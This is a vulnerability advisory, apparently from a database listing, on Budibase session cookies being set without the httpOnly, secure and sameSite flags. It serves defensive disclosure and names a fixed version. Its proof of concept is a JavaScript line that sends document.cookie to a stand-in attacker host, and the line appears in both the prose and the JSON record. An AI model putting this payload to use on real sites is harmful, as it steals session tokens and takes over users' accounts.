GHSA-4F9J-VR4P-642R

Vulnerability from github – Published: 2026-04-24 16:18 – Updated: 2026-05-11 13:29
VLAI?
Summary
Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover
Details

Summary

The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.

Details

packages/backend-core/src/utils/utils.ts, lines 215-226:

const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)

This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.

Missing flags: - httpOnly: false → should be true (prevent JS access) - No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments) - No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')

PoC

Any XSS payload can steal the session:

// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could: 1. Create an entity with a name containing <script> payload 2. Any user who views that entity has their JWT stolen 3. Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md

Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/backend-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.35.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:18:52Z",
    "nvd_published_at": "2026-05-07T20:16:44Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 \u2014 stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover \u2014 the attacker steals the JWT and has persistent access to the victim\u0027s account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // \u2190 JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` \u2192 should be `true` (prevent JS access)\n- No `secure` flag \u2192 cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` \u2192 susceptible to cross-site request attachment (should be `sameSite: \u0027lax\u0027`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker\u0027s XSS payload \u2014 steals session and sends to attacker server\nnew Image().src = \u0027https://attacker.com/steal?cookie=\u0027 + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `\u003cscript\u003e` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability \u2014 past, present, and future \u2014 becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---",
  "id": "GHSA-4f9j-vr4p-642r",
  "modified": "2026-05-11T13:29:32Z",
  "published": "2026-04-24T16:18:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.35.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase auth session cookies are set with httpOnly:false \u2014 any XSS can lead to full account takeover"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.